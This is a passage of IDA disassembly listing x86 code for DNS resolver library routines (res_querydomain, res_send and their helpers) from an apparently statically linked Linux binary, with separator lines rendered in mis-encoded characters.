陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E2F8: ; CODE XREF: sub_804E180+16Fj cmp eax, 4 jnz short loc_804E318 inc [ebp+var_C] jmp short loc_804E319 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E304: ; CODE XREF: sub_804E180+16Dj mov edx, [ebp+var_4] mov al, [edx+3] and al, 0Fh cmp al, 2 jnz short loc_804E318 inc [ebp+var_10] jmp short loc_804E319 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E318: ; CODE XREF: sub_804E180+176j ; sub_804E180+17Bj ... inc ebx loc_804E319: ; CODE XREF: sub_804E180+174j ; sub_804E180+180j ... test byte ptr dword_807854C+1, 2 jnz short loc_804E323 inc ebx loc_804E323: ; CODE XREF: sub_804E180+1A0j add esi, 4 cmp dword ptr [esi], 0 jz short loc_804E32F test ebx, ebx jz short loc_804E2B4 loc_804E32F: ; CODE XREF: sub_804E180+104j ; sub_804E180+10Ej ... cmp [ebp+var_14], 0 jnz short loc_804E351 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push 0 push edi call sub_804E398 test eax, eax jg short loc_804E38D loc_804E351: ; CODE XREF: sub_804E180+1B3j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_804E364 mov edx, [ebp+var_8] mov ds:dword_807E788, edx jmp short loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E364: ; CODE XREF: sub_804E180+1D5j cmp [ebp+var_C], 0 jz short loc_804E378 mov ds:dword_807E788, 4 jmp short loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E378: ; CODE XREF: sub_804E180+1E8j cmp [ebp+var_10], 0 jz short loc_804E388 loc_804E37E: ; CODE XREF: sub_804E180+15Fj mov ds:dword_807E788, 2 loc_804E388: ; CODE XREF: sub_804E180+44j ; sub_804E180+1E0j ... mov eax, 0FFFFFFFFh loc_804E38D: ; CODE XREF: sub_804E180+ACj ; sub_804E180+E5j ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E180 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E398 proc near ; CODE XREF: sub_804E180+DBp ; sub_804E180+148p ... var_210 = byte ptr -210h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 204h push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_4] lea esi, [ebp+var_204] test byte ptr dword_807854C, 1 jnz short loc_804E3D8 call res_init cmp eax, 0FFFFFFFFh jnz short loc_804E3D8 mov ds:dword_807E788, 0FFFFFFFFh mov eax, 0FFFFFFFFh jmp loc_804E482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E3D8: ; CODE XREF: sub_804E398+1Fj ; sub_804E398+29j test byte ptr dword_807854C, 2 jz short loc_804E403 mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov eax, edi test edi, edi jnz short loc_804E3F4 mov eax, offset aNil ; "" loc_804E3F4: ; CODE XREF: sub_804E398+55j push eax push ebx push offset aRes_querydomai ; ";; res_querydomain(%s, %s, %d, %d)\n" call sub_804F7EC add esp, 14h loc_804E403: ; CODE XREF: sub_804E398+47j test edi, edi jnz short loc_804E44C xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-2] cmp edi, 0FFFFFFFFh jz short loc_804E448 cmp byte ptr [edi+ebx], 2Eh jnz short loc_804E448 cmp edi, 200h ja short loc_804E448 push edi lea eax, [ebp+var_204] push eax push ebx call bcopy mov byte ptr [edi+ebp-204h], 0 add esp, 0Ch jmp short loc_804E46C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E448: ; CODE XREF: sub_804E398+85j ; sub_804E398+8Bj ... mov esi, ebx jmp short loc_804E46C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E44C: ; CODE XREF: sub_804E398+6Dj push edi push 100h push ebx push 100h push offset a_S__S ; "%.*s.%.*s" lea eax, [ebp+var_204] push eax call sprintf add esp, 18h loc_804E46C: ; CODE XREF: sub_804E398+AEj ; sub_804E398+B2j mov edx, [ebp+arg_14] push edx mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx push esi call res_query loc_804E482: ; CODE XREF: sub_804E398+3Aj lea esp, [ebp+var_210] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E398 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000001A5 BYTES: COLLAPSED FUNCTION __hostalias. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame Aerror proc near ; CODE XREF: res_send+256p ; res_send+645p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_E = word ptr 16h arg_10 = dword ptr 18h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, errno test byte ptr dword_807854C, 2 jz short loc_804E682 push eax call sub_80566A4 push eax mov ax, [ebp+arg_E] xchg al, ah and eax, 0FFFFh push eax mov eax, [ebp+arg_10] push eax call inet_ntoa add esp, 4 push eax push esi push offset aRes_sendSS_US ; "res_send: %s ([%s].%u): %s\n" push edi call _IO_fprintf loc_804E682: ; CODE XREF: Aerror+1Cj mov errno, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn Aerror endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E694 proc near ; CODE XREF: res_send+2D4p ; res_send+350p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, errno test byte ptr dword_807854C, 2 jz short loc_804E6C5 push eax call sub_80566A4 push eax push esi push offset aRes_sendSS ; "res_send: %s: %s\n" push edi call _IO_fprintf loc_804E6C5: ; CODE XREF: sub_804E694+1Cj mov errno, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E694 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov dword_807853C, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov dword_8078540, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E6F8 proc near ; CODE XREF: res_send+808p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push edi push esi push ebx mov edx, [ebp+arg_0] mov ecx, [edx] mov [ebp+var_10], ecx mov eax, [edx+4] mov [ebp+var_C], eax mov eax, [edx+8] mov [ebp+var_8], eax mov eax, [edx+0Ch] mov [ebp+var_4], eax xor esi, esi mov [ebp+var_14], 0 cmp dword_8078550, esi jle loc_804E875 mov [ebp+var_18], ecx mov ecx, offset dword_8078558 mov [ebp+var_1C], offset dword_8078554 mov eax, dword_8078550 and eax, 3 cmp dword_8078550, esi jle short loc_804E7B9 test eax, eax jz loc_804E7F0 cmp eax, 1 jle short loc_804E7B9 cmp eax, 2 jle short loc_804E791 mov ebx, [ebp+var_18] cmp dword_8078554, ebx jnz short loc_804E787 cmp dword_8078558, 0 jz loc_804E859 mov eax, dword_8078558 cmp [ebp+var_C], eax jz loc_804E859 loc_804E787: ; CODE XREF: sub_804E6F8+72j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] loc_804E791: ; CODE XREF: sub_804E6F8+67j mov ebx, [ebp+var_18] mov edi, [ebp+var_1C] cmp [edi], ebx jnz short loc_804E7AF cmp dword ptr [ecx], 0 jz loc_804E859 mov eax, [ecx] cmp [ebp+var_C], eax jz loc_804E859 loc_804E7AF: ; CODE XREF: sub_804E6F8+A1j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] loc_804E7B9: ; CODE XREF: sub_804E6F8+55j ; sub_804E6F8+62j mov ebx, [ebp+var_18] mov edi, [ebp+var_1C] cmp [edi], ebx jnz short loc_804E7D7 cmp dword ptr [ecx], 0 jz loc_804E859 mov eax, [ecx] cmp [ebp+var_C], eax jz loc_804E859 loc_804E7D7: ; CODE XREF: sub_804E6F8+C9j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] mov edi, [ebp+var_14] cmp dword_8078550, edi jz loc_804E875 loc_804E7F0: ; CODE XREF: sub_804E6F8+59j mov [ebp+var_20], ecx mov edx, ecx mov ecx, [ebp+var_1C] loc_804E7F8: ; CODE XREF: sub_804E6F8+17Bj mov ebx, [ebp+var_18] cmp [ecx], ebx jnz short loc_804E80E cmp dword ptr [edx], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E80E: ; CODE XREF: sub_804E6F8+105j mov ebx, [ebp+var_18] cmp [ecx+10h], ebx jnz short loc_804E827 cmp dword ptr [edx+10h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+10h] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E827: ; CODE XREF: sub_804E6F8+11Cj mov ebx, [ebp+var_18] cmp [ecx+20h], ebx jnz short loc_804E840 cmp dword ptr [edx+20h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+20h] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E840: ; CODE XREF: sub_804E6F8+135j mov ebx, [ebp+var_18] cmp [ecx+30h], ebx jnz short loc_804E85C cmp dword ptr [edx+30h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+30h] cmp [ebp+var_C], eax jnz short loc_804E85C loc_804E859: ; CODE XREF: sub_804E6F8+7Bj ; sub_804E6F8+89j ... inc esi jmp short loc_804E875 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E85C: ; CODE XREF: sub_804E6F8+14Ej ; sub_804E6F8+15Fj add [ebp+var_20], 40h add edx, 40h add ecx, 40h add [ebp+var_14], 4 mov ebx, [ebp+var_14] cmp dword_8078550, ebx jnz short loc_804E7F8 loc_804E875: ; CODE XREF: sub_804E6F8+32j ; sub_804E6F8+F2j ... mov eax, esi lea esp, [ebp+var_2C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E6F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E884 proc near ; CODE XREF: sub_804E944+A2p var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_C] add esi, 0Ch mov edx, [ebp+arg_C] mov ax, [edx+4] xchg al, ah movzx edi, ax mov eax, edi dec edi test eax, eax jle loc_804E933 lea edx, [ebp+var_104] mov [ebp+var_108], edx lea esi, [esi+0] loc_804E8BC: ; CODE XREF: sub_804E884+ADj push 101h mov edx, [ebp+var_108] push edx push esi mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx call dn_expand add esp, 14h test eax, eax jge short loc_804E8E4 mov eax, 0FFFFFFFFh jmp short loc_804E935 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E8E4: ; CODE XREF: sub_804E884+57j add esi, eax push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6B8 and eax, 0FFFFh add esi, 2 add esp, 8 cmp [ebp+arg_4], ebx jnz short loc_804E92C cmp [ebp+arg_8], eax jnz short loc_804E92C mov edx, [ebp+arg_0] push edx mov edx, [ebp+var_108] push edx call strcasecmp add esp, 8 test eax, eax jnz short loc_804E92C mov eax, 1 jmp short loc_804E935 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E92C: ; CODE XREF: sub_804E884+82j ; sub_804E884+87j ... mov eax, edi dec edi test eax, eax jg short loc_804E8BC loc_804E933: ; CODE XREF: sub_804E884+23j xor eax, eax loc_804E935: ; CODE XREF: sub_804E884+5Ej ; sub_804E884+A5j lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E884 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804E944 proc near ; CODE XREF: res_send+853p var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_0] add esi, 0Ch mov edx, [ebp+arg_0] mov ax, [edx+4] xchg al, ah movzx edi, ax mov edx, [ebp+arg_8] mov ax, [edx+4] xchg al, ah and eax, 0FFFFh cmp edi, eax jz short loc_804E984 loc_804E974: ; CODE XREF: sub_804E944+ACj xor eax, eax jmp loc_804E9FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E97C: ; CODE XREF: sub_804E944+73j mov eax, 0FFFFFFFFh jmp short loc_804E9FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E984: ; CODE XREF: sub_804E944+2Ej mov eax, edi dec edi test eax, eax jle short loc_804E9F9 lea edx, [ebp+var_104] mov [ebp+var_108], edx nop loc_804E998: ; CODE XREF: sub_804E944+B3j push 101h mov edx, [ebp+var_108] push edx push esi mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call dn_expand add esp, 14h test eax, eax jl short loc_804E97C add esi, eax push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6B8 and eax, 0FFFFh add esi, 2 mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx push eax push ebx mov edx, [ebp+var_108] push edx call sub_804E884 add esp, 1Ch test eax, eax jz short loc_804E974 mov eax, edi dec edi test eax, eax jg short loc_804E998 loc_804E9F9: ; CODE XREF: sub_804E944+45j mov eax, 1 loc_804E9FE: ; CODE XREF: sub_804E944+32j ; sub_804E944+3Dj lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E944 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: library function bp-based frame res_send proc near ; CODE XREF: res_query+B8p var_264 = byte ptr -264h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_1FC = byte ptr -1FCh var_1EC = word ptr -1ECh var_1EA = word ptr -1EAh var_1E8 = dword ptr -1E8h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 258h push edi push esi push ebx mov eax, [ebp+arg_0] mov [ebp+var_22C], eax mov ecx, [ebp+arg_8] mov [ebp+var_230], ecx test byte ptr dword_807854C, 1 jnz short loc_804EA41 call res_init cmp eax, 0FFFFFFFFh jz loc_804F4E4 ; default loc_804EA41: ; CODE XREF: res_send+25j test byte ptr dword_807854C, 2 jnz short loc_804EA53 test byte ptr dword_80786A4+1, 10h jz short loc_804EA77 loc_804EA53: ; CODE XREF: res_send+3Cj push offset aRes_send ; ";; res_send()\n" push offset unk_8078750 call _IO_fprintf push offset unk_8078750 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_805F1DC add esp, 14h loc_804EA77: ; CODE XREF: res_send+45j mov [ebp+var_244], 0 test byte ptr dword_807854C, 8 jnz short loc_804EA93 cmp [ebp+arg_4], 200h jle short loc_804EA9D loc_804EA93: ; CODE XREF: res_send+7Cj mov [ebp+var_244], 1 loc_804EA9D: ; CODE XREF: res_send+85j mov [ebp+var_234], 0 mov [ebp+var_238], 0 mov [ebp+var_23C], 6Eh mov [ebp+var_248], 0 mov [ebp+var_240], 0 mov edi, [ebp+var_234] cmp dword_8078548, edi jle loc_804F475 lea esi, [esi+0] loc_804EAE4: ; CODE XREF: res_send+A63j xor esi, esi cmp dword_8078550, esi jle loc_804F45D lea esi, [esi] loc_804EAF4: ; CODE XREF: res_send+A4Bj mov eax, esi shl eax, 4 add eax, offset dword_8078554 mov [ebp+var_4], eax loc_804EB01: ; CODE XREF: res_send+386j ; res_send+946j mov eax, [ebp+var_248] bt eax, esi jnb short loc_804EB18 loc_804EB0C: ; CODE XREF: res_send+146j ; res_send+364j ... call sub_804F4F8 ; case 0x1 jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EB18: ; CODE XREF: res_send+FEj cmp dword_807853C, 0 jz short loc_804EB80 ; case 0x0 xor ebx, ebx nop loc_804EB24: ; CODE XREF: res_send+172j lea ecx, [ebp+var_8] push ecx mov edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax lea ecx, [ebp+arg_4] push ecx lea edi, [ebp+arg_0] push edi lea eax, [ebp+var_4] push eax mov ecx, dword_807853C call ecx mov edx, eax add esp, 18h cmp edx, 4 ; switch 5 cases ja loc_804F4E4 ; default jmp ds:off_804EB5C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_804EB5C dd offset loc_804EB80 ; DATA XREF: res_send+146r dd offset loc_804EB0C ; jump table for switch statement dd offset loc_804EB70 dd offset loc_804F448 dd offset loc_804F4E4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EB70: ; CODE XREF: res_send+146j ; DATA XREF: res_send+150o inc ebx ; case 0x2 cmp ebx, 29h jg loc_804F4E4 ; default xor edi, edi test edi, edi jz short loc_804EB24 loc_804EB80: ; CODE XREF: res_send+113j ; res_send+146j ; DATA XREF: ... test byte ptr dword_807854C, 2 ; case 0x0 jz short loc_804EBAC mov eax, [ebp+var_4] mov eax, [eax+4] push eax call inet_ntoa push eax lea eax, [esi+1] push eax push offset aQueryingServer ; ";; Querying server (# %d) address = %s\n" push offset unk_8078750 call _IO_fprintf add esp, 14h loc_804EBAC: ; CODE XREF: res_send+17Bj cmp [ebp+var_244], 0 jz loc_804EEC0 mov eax, dword_8078548 mov [ebp+var_240], eax mov [ebp+var_24C], 0 cmp dword_8078530, 0 jl short loc_804EBF2 cmp dword_8078538, 0 jnz loc_804EC86 cmp dword_8078530, 0 jl short loc_804EBF2 call sub_804F4F8 loc_804EBF2: ; CODE XREF: res_send+1C9j ; res_send+1DFj push 0 push 1 push 2 call socket ; open a SOCK_STREAM socket, type PF_INET, proto IP mov edx, eax mov dword_8078530, edx add esp, 0Ch test edx, edx jl loc_804F4A4 mov errno, 0 push 10h mov eax, [ebp+var_4] push eax push edx call connect add esp, 0Ch test eax, eax jge short loc_804EC7C mov ecx, errno mov [ebp+var_23C], ecx mov edx, [ebp+var_4] mov edi, [edx+0Ch] push edi mov eax, [edx+8] push eax mov ecx, [edx+4] push ecx mov edx, [edx] mov [ebp+var_250], edx push edx mov edi, [ebp+var_23C] push edi push offset aConnectVc ; "connect/vc" push offset unk_80787A4 call Aerror mov edi, 1 mov ecx, esi shl edi, cl or [ebp+var_248], edi jmp loc_804F065 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EC7C: ; CODE XREF: res_send+21Fj mov dword_8078538, 1 loc_804EC86: ; CODE XREF: res_send+1D2j lea ebx, [ebp+var_1A] push ebx movzx eax, word ptr [ebp+arg_4] push eax call sub_804D700 mov [ebp+var_18], ebx mov [ebp+var_14], 2 mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax push 2 lea eax, [ebp+var_18] push eax mov eax, dword_8078530 push eax call __writev mov edx, eax mov eax, [ebp+arg_4] add eax, 2 add esp, 14h cmp edx, eax jz short loc_804ECFC mov eax, errno mov [ebp+var_23C], eax push eax push offset aWriteFailed ; "write failed" push offset unk_80787A4 call sub_804E694 mov edi, 1 mov ecx, esi shl edi, cl or [ebp+var_248], edi jmp loc_804F19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804ECFC: ; CODE XREF: res_send+2BCj mov eax, [ebp+arg_8] mov [ebp+var_254], eax mov [ebp+var_1A], 2 nop loc_804ED0C: ; CODE XREF: res_send+333j movzx ecx, [ebp+var_1A] push ecx mov edi, [ebp+var_254] push edi mov eax, dword_8078530 push eax call __libc_read mov ebx, eax add esp, 0Ch test ebx, ebx jle short loc_804ED45 add edi, ebx mov [ebp+var_254], edi mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804ED0C test ebx, ebx jg short loc_804ED98 loc_804ED45: ; CODE XREF: res_send+31Ej mov ecx, errno mov [ebp+var_23C], ecx push ecx push offset aReadFailed ; "read failed" push offset unk_80787A4 call sub_804E694 call sub_804F4F8 add esp, 0Ch cmp [ebp+var_23C], 68h jnz loc_804EB0C ; case 0x1 cmp [ebp+var_238], 0 jnz loc_804EB0C ; case 0x1 mov [ebp+var_238], 1 call sub_804F4F8 jmp loc_804EB01 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804ED98: ; CODE XREF: res_send+337j mov edi, [ebp+arg_8] push edi call sub_804D6B8 mov edx, eax and edx, 0FFFFh mov [ebp+var_8], edx add esp, 4 mov eax, [ebp+arg_C] cmp edx, eax jle short loc_804EDE8 test byte ptr dword_807854C, 2 jz short loc_804EDD1 push offset aResponseTrunca ; ";; response truncated\n" push offset unk_8078750 call _IO_fprintf add esp, 8 loc_804EDD1: ; CODE XREF: res_send+3B1j mov [ebp+var_24C], 1 mov cx, word ptr [ebp+arg_C] mov [ebp+var_1A], cx jmp short loc_804EDF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EDE8: ; CODE XREF: res_send+3A8j mov ax, word ptr [ebp+var_8] mov [ebp+var_1A], ax loc_804EDF0: ; CODE XREF: res_send+3D7j mov edi, [ebp+arg_8] mov [ebp+var_254], edi cmp [ebp+var_1A], 0 jz short loc_804EE34 loc_804EE00: ; CODE XREF: res_send+426j movzx eax, [ebp+var_1A] push eax mov ecx, [ebp+var_254] push ecx mov edi, dword_8078530 push edi call __libc_read mov ebx, eax add esp, 0Ch test ebx, ebx jle short loc_804EE38 add [ebp+var_254], ebx mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804EE00 loc_804EE34: ; CODE XREF: res_send+3F2j test ebx, ebx jg short loc_804EE50 loc_804EE38: ; CODE XREF: res_send+413j mov eax, errno mov [ebp+var_23C], eax push eax push offset aReadVc ; "read(vc)" jmp loc_804F193 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EE50: ; CODE XREF: res_send+42Aj cmp [ebp+var_24C], 0 jz loc_804F358 mov ecx, [ebp+var_230] or byte ptr [ecx+2], 2 mov di, word ptr [ebp+var_8] sub di, word ptr [ebp+arg_C] mov [ebp+var_1A], di jz loc_804F358 lea esi, [esi+0] loc_804EE7C: ; CODE XREF: res_send+4ACj mov ebx, 200h cmp [ebp+var_1A], 200h ja short loc_804EE8D movzx ebx, [ebp+var_1A] loc_804EE8D: ; CODE XREF: res_send+47Bj push ebx lea eax, [ebp+var_21C] push eax mov eax, dword_8078530 push eax call __libc_read mov ebx, eax add esp, 0Ch test ebx, ebx jle loc_804F358 mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804EE7C jmp loc_804F358 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EEC0: ; CODE XREF: res_send+1A7j cmp dword_8078530, 0 jl short loc_804EED2 cmp dword_8078538, 0 jz short loc_804EF05 loc_804EED2: ; CODE XREF: res_send+4BBj cmp dword_8078538, 0 jz short loc_804EEE0 call sub_804F4F8 loc_804EEE0: ; CODE XREF: res_send+4CDj push 0 push 2 push 2 call socket ; open a SOCK_DGRAM socket, type PF_INET, proto IP mov dword_8078530, eax add esp, 0Ch test eax, eax jl loc_804F4C4 mov dword_8078534, 0 loc_804EF05: ; CODE XREF: res_send+4C4j cmp dword_8078550, 1 jz short loc_804EF23 cmp [ebp+var_240], 0 jnz loc_804EFBC test esi, esi jnz loc_804EFBC loc_804EF23: ; CODE XREF: res_send+500j cmp dword_8078534, 0 jnz short loc_804EF72 push 10h mov eax, [ebp+var_4] push eax mov eax, dword_8078530 push eax call connect add esp, 0Ch test eax, eax jge short loc_804EF68 mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax 